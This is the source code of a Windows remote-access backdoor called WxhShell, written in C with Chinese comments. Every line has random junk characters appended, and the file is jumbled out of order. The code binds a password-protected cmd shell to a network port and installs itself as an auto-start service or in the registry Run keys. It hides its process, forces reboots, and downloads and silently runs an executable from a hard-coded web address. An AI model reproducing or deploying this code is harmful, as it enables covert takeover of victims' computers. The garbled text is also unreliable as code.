    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5XZ\7Z|  
    else { m^;A]0h+  
    closesocket(wsh); 6C- !^8[f  
    ExitThread(0); T# 3`&[  
    } `;Xwv)  
    break; K 5AArI  
    } Ym wb2]M  
  // 获取shell "b0!h6$!H  
  case 's': {  s x)x7  
    CmdShell(wsh); tC&jzN"  
    closesocket(wsh); |DUOyQ  
    ExitThread(0); Es&'c1$^s  
    break; $yZ(ws  
  } Q oWjC  
  // 退出 w/wU~~  
  case 'x': { 4EFP*7X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &!? qSi~V  
    CloseIt(wsh); ;'oi7b  
    break; 84c[Z   
    } 7jPn6uz>w  
  // 离开 :Oc&{z?q  
  case 'q': { ?>iZ){0,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); * oru;=D@8  
    closesocket(wsh); pbNW l/|4  
    WSACleanup(); v]m#+E   
    exit(1); (h27SLYm  
    break; +||[H)qym  
        } J Sms \  
  } 2KSt4oa  
  } /i IWt\J  
*Edr\P  
  // 提示信息 9S{?@*V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z1LY|8$G  
} i; 3qMBVY~  
  } .GuZV'  
g&L $5  
  return; }\d3   
} 2"B3Q:0he|  
?v Z5 ^k  
// shell模块句柄 4.'KT;[_1/  
int CmdShell(SOCKET sock) B=hJ*;:p  
{ !gG\jC~n  
STARTUPINFO si; G2hBJTW  
ZeroMemory(&si,sizeof(si)); ~f[91m!+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jIL$hqo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]]_H|tO  
PROCESS_INFORMATION ProcessInfo; {-,^3PI\  
char cmdline[]="cmd"; -0:B2B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hionR)R4  
  return 0; Xj;5i Vq  
} Ge4 tc  
+( V+XT  
// 自身启动模式 cP[]\r+Kj  
int StartFromService(void) et :v4^*f  
{ 6T=zHFf~  
typedef struct {y7,n  
{ ii]'XBSVd  
  DWORD ExitStatus; l|K`'YS!<{  
  DWORD PebBaseAddress; ZUUfn~ORc  
  DWORD AffinityMask; C 6wlRvWn  
  DWORD BasePriority; -~imxPmZ  
  ULONG UniqueProcessId; Y^CbpG&-vC  
  ULONG InheritedFromUniqueProcessId; p$&6E\#7  
}   PROCESS_BASIC_INFORMATION; k<\]={ |=  
`-)Fx<e  
PROCNTQSIP NtQueryInformationProcess; IP+1 :M  
Z|a\rNv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e,Fe,5E&g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m#(ve1E  
8v']>5S]#  
  HANDLE             hProcess; m7~[f7U  
  PROCESS_BASIC_INFORMATION pbi; 1w|V'e?kb  
!YEU<9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G/C5o=cY  
  if(NULL == hInst ) return 0; $; t#pN/`  
Ss{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R7!^ M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;t}ux  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7<%Rx19L*  
 LYX\#  
  if (!NtQueryInformationProcess) return 0; 5s2334G  
2F#R;B#2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7c Gq.U  
  if(!hProcess) return 0; &t w   
=rDIU&0Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7<VfE`Q3  
~+Da`Wp  
  CloseHandle(hProcess); wuTCdBu6hU  
yD!V;?EnK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J#y?^Qm$)<  
if(hProcess==NULL) return 0; ps6c>AN`A&  
"Z6:d"S`  
HMODULE hMod; A4W61f  
char procName[255]; v]HiG_C  
unsigned long cbNeeded; U%na^Wu  
[ {B1~D-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q3E_.{t  
'((Ll  
  CloseHandle(hProcess); g1`/xJz|  
^y"$k  
if(strstr(procName,"services")) return 1; // 以服务启动 =7`0hS<@F  
7a:mZ[Vh  
  return 0; // 注册表启动 ;{~F7:i  
} '3@WF2a  
o s HE4x  
// 主模块 {G%!M+n<  
int StartWxhshell(LPSTR lpCmdLine) ')w*c  
{ Y">;2Pt;  
  SOCKET wsl; *ad"3>  
BOOL val=TRUE; M('cG  
  int port=0; l<$c.GgFd  
  struct sockaddr_in door; V ;)q?ZHg  
:22IY> p  
  if(wscfg.ws_autoins) Install(); 2;`"B|-T  
]-aeoa#  
port=atoi(lpCmdLine); oa?eK  
$V)LGu2( m  
if(port<=0) port=wscfg.ws_port; ]4>[y?k34  
7o+!Gts]  
  WSADATA data; =7mR#3yt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QPfS3%p`  
9c=_p'G3Fw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K/u`W z~A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SS;QPWRZ  
  door.sin_family = AF_INET; FBcF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yX(6C]D  
  door.sin_port = htons(port); %d9UWQ  
$0Y&r]'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0PnW|N0  
closesocket(wsl);  ~Rcd  
return 1; z~xN ]=  
} j]<T\O>t>  
0\jOg  
  if(listen(wsl,2) == INVALID_SOCKET) { 3Fn26Ri j  
closesocket(wsl); 7 v<$l  
return 1; sz wXr  
} K`FgU 7g{  
  Wxhshell(wsl); ^[CD-#  
  WSACleanup(); !DCJ2h%E[_  
m=S[Y^tR  
return 0; u hP0Zwn  
O`dob&C  
} :u{0M&  
zux+ooU  
// 以NT服务方式启动 8y!fqXm%)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N)h>Ie  
{ @X/S h:  
DWORD   status = 0; l#o43xr  
  DWORD   specificError = 0xfffffff; 9,'5~+7  
xM;gF2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [JVI@1T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,/W< E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lrh6lt)  
  serviceStatus.dwWin32ExitCode     = 0; g#_?Vxt  
  serviceStatus.dwServiceSpecificExitCode = 0; 9MLvHrB;  
  serviceStatus.dwCheckPoint       = 0; ;?2vW8{p<  
  serviceStatus.dwWaitHint       = 0; AEnS_Q  
Oyq<y~}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J6 [x(T  
  if (hServiceStatusHandle==0) return; u?g!E."v  
H8K<.RY  
status = GetLastError(); @\!wW-:A  
  if (status!=NO_ERROR) 0 $e;#}  
{ z[v5hhI)4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %1VMwqC]E  
    serviceStatus.dwCheckPoint       = 0; MQY1he2M  
    serviceStatus.dwWaitHint       = 0; %T6#c7U_  
    serviceStatus.dwWin32ExitCode     = status; ''BP4=r5 n  
    serviceStatus.dwServiceSpecificExitCode = specificError; >W'SG3Hmc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jD^L<  
    return; 9v cUo?/  
  } |k/;.  
]QT0sGl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;*W]]4fy  
  serviceStatus.dwCheckPoint       = 0; \-s) D#Y;r  
  serviceStatus.dwWaitHint       = 0; R~ w(]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [l#WS  
} @LL&ggV?  
R[&lk~a{=  
// 处理NT服务事件,比如:启动、停止 4!k={Pd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fe37T@  
{ "}SERC7  
switch(fdwControl) mZ;yk(  
{ cfeX (0  
case SERVICE_CONTROL_STOP: +X*`}-3  
  serviceStatus.dwWin32ExitCode = 0; FYcMvY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZVp\ 5V*  
  serviceStatus.dwCheckPoint   = 0; 7Xad2wXn  
  serviceStatus.dwWaitHint     = 0; ;7`<.y  
  { g=Qga09  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z{#F9'\&  
  } Y[~6f,?^  
  return; ]Hd 0 Y%  
case SERVICE_CONTROL_PAUSE: 50DPzn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NNl/'ge <\  
  break; M@'V4oUz  
case SERVICE_CONTROL_CONTINUE: %&_(IY$d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ($S{td;  
  break; <Z m ,q}  
case SERVICE_CONTROL_INTERROGATE: gv[7h'}<  
  break; l(]\[}.5  
}; 5&X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ve8!   
} ==XP}w)m  
9)l_(*F  
// 标准应用程序主函数 y9*H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !7xp<=  
{ CMBW]b|  
<go~WpA|r  
// 获取操作系统版本 qz0v1057#  
OsIsNt=GetOsVer(); 4[J3HLQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,#wVqBEk  
5R=lTx/Hj  
  // 从命令行安装 #Y5I_:k  
  if(strpbrk(lpCmdLine,"iI")) Install(); F7;xf{n<  
Eq8OAuN  
  // 下载执行文件 ?J~JQe42  
if(wscfg.ws_downexe) { b<F 4_WF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bf74 "  
  WinExec(wscfg.ws_filenam,SW_HIDE); :T\WYKX3C  
} QhGg^h%6  
Rm*}<JN31  
if(!OsIsNt) { y2+a2  
// 如果时win9x,隐藏进程并且设置为注册表启动 =O;SXzgE  
HideProc(); jVA~]a  
StartWxhshell(lpCmdLine); ?UfZVyHv+  
} <{ ) 4gvH  
else 4]B3C\ v  
  if(StartFromService()) ^mum5j  
  // 以服务方式启动 \W}EyA  
  StartServiceCtrlDispatcher(DispatchTable); lTB!yF.r|  
else wFJK!9KA8  
  // 普通方式启动 pt4xUu{  
  StartWxhshell(lpCmdLine); poeXi\e!(  
OpL 6Y+<  
return 0; w//w$}v  
} Y=rr6/k  
b}4/4Z.  
N/%#GfXx  
(t]>=p%4g  
===========================================  wi9|  
Q jBCkx]g  
Yjl0Pz .q  
=+"'=o  
;yZ N "r  
KB"iF}\P0  
" $0*47+f  
V^{!d}  
#include <stdio.h> xI<dBg|]+  
#include <string.h> f oVD+\~Y  
#include <windows.h> m4DH90~a8  
#include <winsock2.h> *h4m<\^U  
#include <winsvc.h> Az-!LAu9 R  
#include <urlmon.h> 3E ZwF  
=CVT8(N*  
#pragma comment (lib, "Ws2_32.lib") hX_p5a1t  
#pragma comment (lib, "urlmon.lib") cLU*Tx\  
Q$vr`yV#=6  
#define MAX_USER   100 // 最大客户端连接数 YW{V4yW  
#define BUF_SOCK   200 // sock buffer ? g{,MP5  
#define KEY_BUFF   255 // 输入 buffer cP2R2 4th  
&JlR70gdHi  
#define REBOOT     0   // 重启 .zAafi0  
#define SHUTDOWN   1   // 关机 JKT+ q*V  
,jnRt%W  
#define DEF_PORT   5000 // 监听端口 Uu X"AFy~\  
s4$m<"~  
#define REG_LEN     16   // 注册表键长度 4sj%:  
#define SVC_LEN     80   // NT服务名长度 nwo!A3w:  
8e@JvAaa$  
// 从dll定义API 7S2F^,w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |+:ZO5FaO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D%idlL2%J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >>bYg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C%c `@="b  
\Ep/'Tj&  
// wxhshell配置信息 fE*I+pe  
struct WSCFG { | q16%6q  
  int ws_port;         // 监听端口 y|Y3,s  
  char ws_passstr[REG_LEN]; // 口令 1Kh?JH  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7h]R{_  
  char ws_regname[REG_LEN]; // 注册表键名 Kk98FI0]  
  char ws_svcname[REG_LEN]; // 服务名 ;0!Wd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9,5II0N L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 62x< rph  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ql@yN@V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no % 9/)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {@ y,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^R7zLHU;  
H27Oq8  
}; i 9tJHeSm  
wDhcHB  
// default Wxhshell configuration 'h^DI`  
struct WSCFG wscfg={DEF_PORT, $JB:rozE  
    "xuhuanlingzhe", g yQ9Z}  
    1, =(X'c.%i  
    "Wxhshell", LXC`Zq\  
    "Wxhshell", e-cb?.WU?  
            "WxhShell Service", 4<g72| y  
    "Wrsky Windows CmdShell Service", >.hGoT!_k  
    "Please Input Your Password: ", HCIF9{o1j>  
  1, aF{i A\  
  "http://www.wrsky.com/wxhshell.exe", ')<FLCFwT  
  "Wxhshell.exe" lq8ko@  
    }; /eRtj:9M  
DsW`V~ T  
// 消息定义模块 8Qz7uPq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RpK,ixbtA+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7 3z Y^ x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z83:a)U  
char *msg_ws_ext="\n\rExit."; `VFl|o#H  
char *msg_ws_end="\n\rQuit."; ZU.)K>'  
char *msg_ws_boot="\n\rReboot..."; :ZfUjqRE  
char *msg_ws_poff="\n\rShutdown..."; ,N7l/6  
char *msg_ws_down="\n\rSave to "; ;vclAsJ  
pu$XUt  
char *msg_ws_err="\n\rErr!"; >jz%bY  
char *msg_ws_ok="\n\rOK!"; [9U srpYi  
; 9 &1JX  
char ExeFile[MAX_PATH]; .&Pe7`.BE  
int nUser = 0; i5<Va@ru!s  
HANDLE handles[MAX_USER]; <SM&VOiaOz  
int OsIsNt; Mr NOcx&  
lMzCDx !m  
SERVICE_STATUS       serviceStatus; N"x\YHp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ms\/=96F  
ar qLp|  
// 函数声明 y[WYH5 &DJ  
int Install(void); D ,ZNh1xt  
int Uninstall(void); mYjiiql~  
int DownloadFile(char *sURL, SOCKET wsh); khN:+V|  
int Boot(int flag); KvJP(!{  
void HideProc(void); lzy$.H"W  
int GetOsVer(void); @oqi@&L'C  
int Wxhshell(SOCKET wsl); /-K dCp~  
void TalkWithClient(void *cs); y5Wqu9C\Io  
int CmdShell(SOCKET sock); F}B/-".^  
int StartFromService(void); Ddl% V7  
int StartWxhshell(LPSTR lpCmdLine); 9Oo*8wvGG  
;Jbc'V'fm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k *;{n8o?)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Sp~Gv>uMK  
FX|lhwmc(  
// 数据结构和表定义 )47j8jL  
SERVICE_TABLE_ENTRY DispatchTable[] = =7]Q6h@X  
{ aBVEk2 p  
{wscfg.ws_svcname, NTServiceMain}, 3@F+E\k  
{NULL, NULL} .xz,pn}  
}; +z jzO]8  
>_0 i=.\  
// 自我安装 Q"6hD?6.  
int Install(void) e7bT%h9i  
{ qgC-@I  
  char svExeFile[MAX_PATH]; v_ nBh,2  
  HKEY key; K!D_PxV  
  strcpy(svExeFile,ExeFile); _/]:=_bf_z  
G\:psx/  
// 如果是win9x系统,修改注册表设为自启动 M*~v'L_sI  
if(!OsIsNt) { H8<7#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $>h!J.t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rGn5Q V  
  RegCloseKey(key); %hQMC'c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kk /+Vx~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %j[LRY/  
  RegCloseKey(key); nhQ44qRgQ  
  return 0; AeY$.b  
    } %is,t<G  
  }  ny  
} =wlm  
else { o9T@uWh+  
cdJ`Gk  
// 如果是NT以上系统,安装为系统服务 (@WDvgi(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8MeO U  
if (schSCManager!=0) .i3lG( YG  
{ 6h:?u4  
  SC_HANDLE schService = CreateService Ql: b1C,  
  ( 5y[b8mur  
  schSCManager, "x.6W!  
  wscfg.ws_svcname, C{`^9J-  
  wscfg.ws_svcdisp, K?FX<PT  
  SERVICE_ALL_ACCESS, [aWDD[#j~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5&-j{J0iV  
  SERVICE_AUTO_START, l)i &ATvCE  
  SERVICE_ERROR_NORMAL, Q/3tg  
  svExeFile,  *_ {l  
  NULL, p(H)WD  
  NULL, "BLv4s|y7L  
  NULL, "%}Gy>;  
  NULL, TJyH/ C  
  NULL Gdf1+mi  
  ); XAQ\OX#  
  if (schService!=0) %TW% |"v  
  { ~`~%(DA=  
  CloseServiceHandle(schService); '!+ P{  
  CloseServiceHandle(schSCManager); gI^L 9jE7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (DG@<K,6  
  strcat(svExeFile,wscfg.ws_svcname); w;yiX<t<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rF8W(E_=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xq Q~|  
  RegCloseKey(key); %0+h  
  return 0; <=)D=Ax/_[  
    } 3XApY'  
  } ]F"(OWW  
  CloseServiceHandle(schSCManager); `'[7~Ew[  
} WbC0H78]  
} 9zoT6QP4  
-TK|Y"  
return 1; P|e:+G7  
} rR,+G%[(=4  
KJ0xp h f  
// 自我卸载 (^DLCP#*  
int Uninstall(void) WA]%,6  
{ JVUZ}#O  
  HKEY key; F_Z&-+,*3t  
`N|U"s;  
if(!OsIsNt) { Xr@l+zr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ih+*T1#:(  
  RegDeleteValue(key,wscfg.ws_regname); IFd )OZ5  
  RegCloseKey(key); IdV,%d{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,YP1$gj  
  RegDeleteValue(key,wscfg.ws_regname); "<PoJPh  
  RegCloseKey(key); [):{5hMA  
  return 0; p4m^ ~e  
  }  _DPB?)!x  
} e5qrQwU  
} i ll-%OPeg  
else { ;mf4 U85  
=_$XP   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dN$ 1$B^k  
if (schSCManager!=0) a"0B?3*r46  
{ 4 [R8(U[g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RLYU\@kK?  
  if (schService!=0) 18DTv6?QG  
  { M>*0r<qn  
  if(DeleteService(schService)!=0) { E;6Y? vJ  
  CloseServiceHandle(schService); ~-XOvKJb  
  CloseServiceHandle(schSCManager); 2Ueq6IuQ  
  return 0; !Y ;H(.A/  
  } N5pinR5 H  
  CloseServiceHandle(schService); P &;y] ,)E  
  } Od0S2hHO  
  CloseServiceHandle(schSCManager); y-w2O]  
} Ujce |>Wn  
} G0_&gx`  
,{.zh&=4  
return 1; U0NOU#  
} w)45SZ.  
[D*J[?yt  
// 从指定url下载文件 +3M$3w{2  
int DownloadFile(char *sURL, SOCKET wsh) eV[`P&j_C  
{ P'a0CE%  
  HRESULT hr; Wmzq  
char seps[]= "/"; !1ML%}vvB,  
char *token; t{/hkXq]  
char *file; pwJ'3NbS  
char myURL[MAX_PATH]; ZWf-X  
char myFILE[MAX_PATH]; q*~gWn>T  
GY oZ$p"C  
strcpy(myURL,sURL); 5h_<R!jA  
  token=strtok(myURL,seps); !UBy%DN~k  
  while(token!=NULL) jP1$qhp  
  { bjPka{PBj  
    file=token; 6eOrs-ty  
  token=strtok(NULL,seps); mND XzT&  
  } YS]>_  
aQ(`6DQv  
GetCurrentDirectory(MAX_PATH,myFILE); Z} c'Bm(  
strcat(myFILE, "\\"); _LJ5o_-N  
strcat(myFILE, file); Hu<p?mF#  
  send(wsh,myFILE,strlen(myFILE),0); v#RW{kI  
send(wsh,"...",3,0); 285_|!.Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w- UKMW9"  
  if(hr==S_OK) mgy"|\]  
return 0; {F'Az1^I=  
else T#\p%w9d  
return 1; J__;.rnk  
ykxbX  
} q^Z~IZ8IT  
+p13xc?#j  
// 系统电源模块 - G8c5b[  
int Boot(int flag) VBu8}}Ql  
{ z )5S^{(  
  HANDLE hToken; 'dkXYtKCB  
  TOKEN_PRIVILEGES tkp; #2h+dk$1  
Ds {{J5Um%  
  if(OsIsNt) { NA+&jV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XR|"dbZW.0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3rxo,pX94  
    tkp.PrivilegeCount = 1; CXTt(-FT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kGpV;F==*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /@Ez" ?V2  
if(flag==REBOOT) { >Z *iE"9"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b& V`<'{  
  return 0; yc*<:(p  
} >B0D/:R9  
else { _)Qy4[S=d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) , Hn7(^t  
  return 0;  VJ3hC[  
} bFSlf5*H  
  } pFpZbU^  
  else { (Up'$J}  
if(flag==REBOOT) { #e*X0;m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ejq=*UOP  
  return 0; lj)f4zu  
} mV<i JZh  
else { CoJ55TAW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^"1TPd|  
  return 0; !(Q l)C  
} nB=0T`vQ  
} Y[Es  
~uB'3`x  
return 1; DR6]-j!FK  
} B#]_8svO  
cqEHYJ;B  
// win9x进程隐藏模块 Xem 05%,  
void HideProc(void) wy''tqg6  
{ Sr&T[ex,.  
N=#4L$@-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Id %_{),HX  
  if ( hKernel != NULL ) jPnO@ H1  
  { z!:'V]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y?>#t^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 27>a#vCT  
    FreeLibrary(hKernel); co/7lsW  
  } =N_,l'U\^  
9RxO7K  
return; *xcP`  
} ;W0]66&  
+vz` go  
// 获取操作系统版本 2/@D7>F&g  
int GetOsVer(void) _S"f_W  
{ 71O3O7  
  OSVERSIONINFO winfo; l)Zs-V!M^\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NY@"&p'Q  
  GetVersionEx(&winfo); a}>Dz 1R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?vu_k 'io  
  return 1; >Rt9xP  
  else g]|_ `  
  return 0; @rO4y`  
} &8sV o@Pa  
k(vPg,X>m  
// 客户端句柄模块 XrS\+y3  
int Wxhshell(SOCKET wsl) L,~MicgV  
{ ^uW%v2  
  SOCKET wsh; f jI#-  
  struct sockaddr_in client; Wr>(#*r7q  
  DWORD myID; pCC7(Ouo  
4 \p -TPM  
  while(nUser<MAX_USER) x l0DN{PG  
{ aX^+ O,  
  int nSize=sizeof(client); Pdw#o^Iq^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4<.O+hS  
  if(wsh==INVALID_SOCKET) return 1; 0+EN@Y^dAV  
Uki9/QiX>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8Bpip  
if(handles[nUser]==0) .^[_ V  
  closesocket(wsh); B wC+ov=  
else tWY2o3j  
  nUser++; o9Sn*p-.  
  } 1zjaR4Tf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ax!Gu$K2o  
<C<`J{X0  
  return 0; iq6a|XGi  
} xMI+5b8  
~O: U|&  
// 关闭 socket |)o#|Qo  
void CloseIt(SOCKET wsh) t};~H\:  
{ W J+> e+  
closesocket(wsh); Rg* J}  
nUser--; $ [7 Vgs  
ExitThread(0); X \f[  
} @u) 'yS  
EfiU$ 8y  
// 客户端请求句柄 iePf ]O*  
void TalkWithClient(void *cs) nxaT.uFd1  
{ Ftv8@l  
(ZP87Gz  
  SOCKET wsh=(SOCKET)cs; ->E=&X  
  char pwd[SVC_LEN]; Ue$zH"w  
  char cmd[KEY_BUFF]; 9s`/~ a@  
char chr[1]; Bux'hc  
int i,j; ? _ <[T  
J!h^egP  
  while (nUser < MAX_USER) { '<@=vGsye  
d TGA5c  
if(wscfg.ws_passstr) { 7zDiHac  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yv )aAWEa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *Msr15  
  //ZeroMemory(pwd,KEY_BUFF); Dag`>|my  
      i=0; WM,i:P)b  
  while(i<SVC_LEN) { 4/*H.Fl  
~p*1:ij  
  // 设置超时 ],lV}Mlg*  
  fd_set FdRead; |d7$*7TvV  
  struct timeval TimeOut; }+R B=#~o  
  FD_ZERO(&FdRead); LdTdQ,s<  
  FD_SET(wsh,&FdRead); wAYB RY[  
  TimeOut.tv_sec=8; s_eOcm  
  TimeOut.tv_usec=0; /\=MBUN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Bs0Avj.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R$m`Z+/@  
t`|,6qEG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V U~Dk);Bv  
  pwd=chr[0]; #Hu~}zy  
  if(chr[0]==0xd || chr[0]==0xa) { Ip?]K*sq  
  pwd=0; op7FZHs  
  break; E \{<;S  
  } vR>o}%`  
  i++; z`$J_CjY  
    } wJG$c-(\0  
C!%:o/  
  // 如果是非法用户,关闭 socket ;sPzOS9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #[ -\lU|  
} K:r\{#9  
*t9eZ!_f?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [!"XcFY:a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %<Q*Jf  
kzO&24  
while(1) { 'Qn~H[$/p  
KhaYr)&~  
  ZeroMemory(cmd,KEY_BUFF); o-eKAkh  
7m1KR#j  
      // 自动支持客户端 telnet标准   Q\kub_I{@  
  j=0; Sm|(  
  while(j<KEY_BUFF) { m)&znLA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +F@_Es<6  
  cmd[j]=chr[0]; `UzVS>]l[+  
  if(chr[0]==0xa || chr[0]==0xd) { =P^wh  
  cmd[j]=0; +S~.c;EK  
  break; ii4B?E  
  } Mkv|TyC  
  j++; M{N(~ql  
    } 6Nh0  
|M5-5)  
  // 下载文件  Mm= Mz  
  if(strstr(cmd,"http://")) { )\ 0F7Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c[cAUsk i  
  if(DownloadFile(cmd,wsh)) :q+N&j'3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uS5o?fg\e  
  else SR7j\1a/2A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `M@Ak2gcR+  
  } 3/goCg  
  else { >3D7tK(  
fCX*R"  
    switch(cmd[0]) { LSd*| 3E}n  
  8cVzFFQP  
  // 帮助 5EeDHsvV9  
  case '?': { yA7 )Y})>  
